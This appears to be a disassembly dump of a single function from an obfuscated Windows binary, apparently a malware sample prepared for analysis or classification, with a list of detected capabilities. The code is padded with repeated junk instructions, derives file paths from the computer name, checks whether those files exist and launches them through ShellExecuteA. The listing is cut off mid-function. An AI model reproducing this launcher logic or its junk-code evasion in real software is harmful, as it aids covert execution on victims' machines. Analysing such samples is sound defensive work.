Function at 0x4010d0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push edi
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ax, word [0x408108]
mov word [ebp - 0x390], ax
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x258], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x258], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x379], 0
mov byte [ebp - 9], 0
mov byte [ebp - 0x25e], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x384], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x231], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov dword [ebp - 8], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x120], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x378], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x377]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x230], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x254], 0
xor eax, eax
mov dword [ebp - 0x253], eax
mov dword [ebp - 0x24f], eax
mov dword [ebp - 0x24b], eax
mov dword [ebp - 0x247], eax
mov dword [ebp - 0x243], eax
mov dword [ebp - 0x23f], eax
mov dword [ebp - 0x23b], eax
mov word [ebp - 0x237], ax
mov byte [ebp - 0x235], al
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov dword [ebp - 0x268], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov dword [ebp - 0x25c], 0x7f
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x385], 0
mov byte [ebp - 0x25d], 0
mov byte [ebp - 0x25f], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x104
lea ecx, [ebp - 0x120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x120]
push edx
call fcn.00402b80
add esp, 4
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x378]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x5f
jne 0x4014bc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [str.dwoknqdq_dwd]
mov dword [ebp - 0x3a0], eax
mov ecx, dword [0x408110]
mov dword [ebp - 0x39c], ecx
mov edx, dword [0x408114]
mov dword [ebp - 0x398], edx
mov al, byte [0x408118]
mov byte [ebp - 0x394], al
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov dword [ebp - 0x3a4], 0
jmp 0x40138e
mov ecx, dword [ebp - 0x3a4]
add ecx, 1
mov dword [ebp - 0x3a4], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x3a0]
mov dword [ebp - 0x3b4], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x3b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4013e7
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x3b4]
lea eax, [ebp - 0x3a0]
sub edx, eax
mov dword [ebp - 0x3b8], edx
jmp 0x401406
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x3b4]
add ecx, 1
mov dword [ebp - 0x3b4], ecx
jmp 0x4013a8
mov edx, dword [ebp - 0x3a4]
cmp edx, dword [ebp - 0x3b8]
jae 0x401453
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x3a4]
movsx ecx, byte [ebp + eax - 0x3a0]
add ecx, 1
mov edx, dword [ebp - 0x3a4]
mov byte [ebp + edx - 0x3a0], cl
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x40137f
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 1
push 0
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0x3a0]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x40153d
mov edx, dword [ebp - 0x258]
movsx eax, byte [edx]
cmp eax, 0x2e
jne 0x4014f2
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x25d], 1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x402488
mov ecx, dword [ebp - 0x258]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x40153d
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x25f], 1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x25d], 1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x402488
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x120]
mov dword [ebp - 0x3bc], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x3bc]
movsx edx, byte [ecx]
test edx, edx
jne 0x401596
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x3bc]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x3c0], eax
jmp 0x4015b5
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x3bc]
add edx, 1
mov dword [ebp - 0x3bc], edx
jmp 0x401557
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp + eax - 0x120]
mov dword [ebp - 0x14], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x380], 1
jle 0x40162d
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x40162d
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x4015f2
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x14]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x401651
mov eax, dword [ebp - 0x14]
movsx ecx, byte [eax + 1]
test ecx, ecx
jne 0x401666
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
xor eax, eax
jmp 0x4029a2
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x26c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x4016d6
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
jbe 0x4016d6
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
sub ecx, 1
mov dword [ebp - 0x26c], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x40168b
mov edx, dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
cmp edx, eax
ja 0x4016fb
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
xor eax, eax
jmp 0x4029a2
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x264], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x26c]
movsx eax, byte [edx]
cmp eax, 0x3a
je 0x4017ec
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x26c]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x40178e
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x120]
cmp eax, ecx
jbe 0x40178e
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x26c]
sub edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401743
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x26c]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x4017bf
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
xor eax, eax
jmp 0x4029a2
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401817
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x26c]
sub eax, 1
mov dword [ebp - 0x26c], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx eax, byte [ebp - 0x230]
mov dword [ebp - 0x380], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.004030c0
add esp, 0xc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x380]
add ecx, 1
mov dword [ebp - 0x380], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x414], edx
lea eax, [ebp - 0x120]
mov dword [ebp - 0x418], eax
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x410], ecx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x230]
test edx, edx
jne 0x401980
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401a3a
cmp dword [ebp - 0x418], 0
jne 0x4019b1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x230], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401a3a
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x414]
sub ecx, 1
mov dword [ebp - 0x414], ecx
test eax, eax
je 0x401a15
mov edx, dword [ebp - 0x410]
mov eax, dword [ebp - 0x418]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 0x410]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x410]
add ecx, 1
mov dword [ebp - 0x410], ecx
mov edx, dword [ebp - 0x418]
add edx, 1
mov dword [ebp - 0x418], edx
test eax, eax
je 0x401a15
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x4019b1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x410]
mov byte [eax], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x40811c
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x41c], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x41c], 0xffffffff
je 0x401af2
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x401afe
mov dword [ebp - 0x420], 0
jmp 0x401b08
mov dword [ebp - 0x420], 1
cmp dword [ebp - 0x420], 0
je 0x401baa
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 1
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x258]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x385], 1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x68
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x264]
sub eax, dword [ebp - 0x26c]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x42c], ecx
lea edx, [ebp - 0x378]
mov dword [ebp - 0x424], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x378]
test eax, eax
jne 0x401c02
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401cbc
cmp dword [ebp - 0x42c], 0
jne 0x401c33
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x378], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401cbc
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp - 0x428]
sub edx, 1
mov dword [ebp - 0x428], edx
test ecx, ecx
je 0x401c97
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0x42c]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x424]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x42c]
add eax, 1
mov dword [ebp - 0x42c], eax
test ecx, ecx
je 0x401c97
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401c33
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x424]
mov byte [ecx], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movsx edx, byte [ebp - 0x378]
mov dword [ebp - 0x380], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.004030c0
add esp, 0xc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x105
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.004035d0
add esp, 0xc
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x380], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x480], eax
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x484], ecx
lea edx, [ebp - 0x230]
mov dword [ebp - 0x47c], edx
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x230]
test eax, eax
jne 0x401def
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401ea9
cmp dword [ebp - 0x484], 0
jne 0x401e20
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x230], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401ea9
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp - 0x480]
sub edx, 1
mov dword [ebp - 0x480], edx
test ecx, ecx
je 0x401e84
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp - 0x484]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x47c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x47c]
add edx, 1
mov dword [ebp - 0x47c], edx
mov eax, dword [ebp - 0x484]
add eax, 1
mov dword [ebp - 0x484], eax
test ecx, ecx
je 0x401e84
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
jmp 0x401e20
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x47c]
mov byte [ecx], 0
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x488], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x488], 0xffffffff
je 0x401f4d
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x401f59
mov dword [ebp - 0x48c], 0
jmp 0x401f63
mov dword [ebp - 0x48c], 1
cmp dword [ebp - 0x48c], 0
je 0x401fa6
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov byte [ebp - 0x385], 1
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x68
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
push 0x1a
call fcn.00403310
add esp, 4
mov dword [ebp - 0x124], eax
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
cmp dword [ebp - 0x124], 0
jne 0x401fe0
jmp 0x4029a0
mov byte [ebp - 0x25e], 0
mov al, byte [ebp - 0x25e]
mov byte [ebp - 9], al
mov cl, byte [ebp - 9]
mov byte [ebp - 0x379], cl
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
movzx edx, byte [ebp - 0x385]
test edx, edx
jne 0x402020
mov eax, dword [ebp - 0x258]
movsx ecx, byte [eax]
cmp ecx, 0x68
jne 0x40202f
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x40245e
mov al, 0xd4
mov al, 0x98
mov al, 0x37
mov al, 0x16
mov al, 0x38
mov al, 0xb1
mov al, 0x85
call fcn.00402c80
mov byte [ebp - 0x379], al
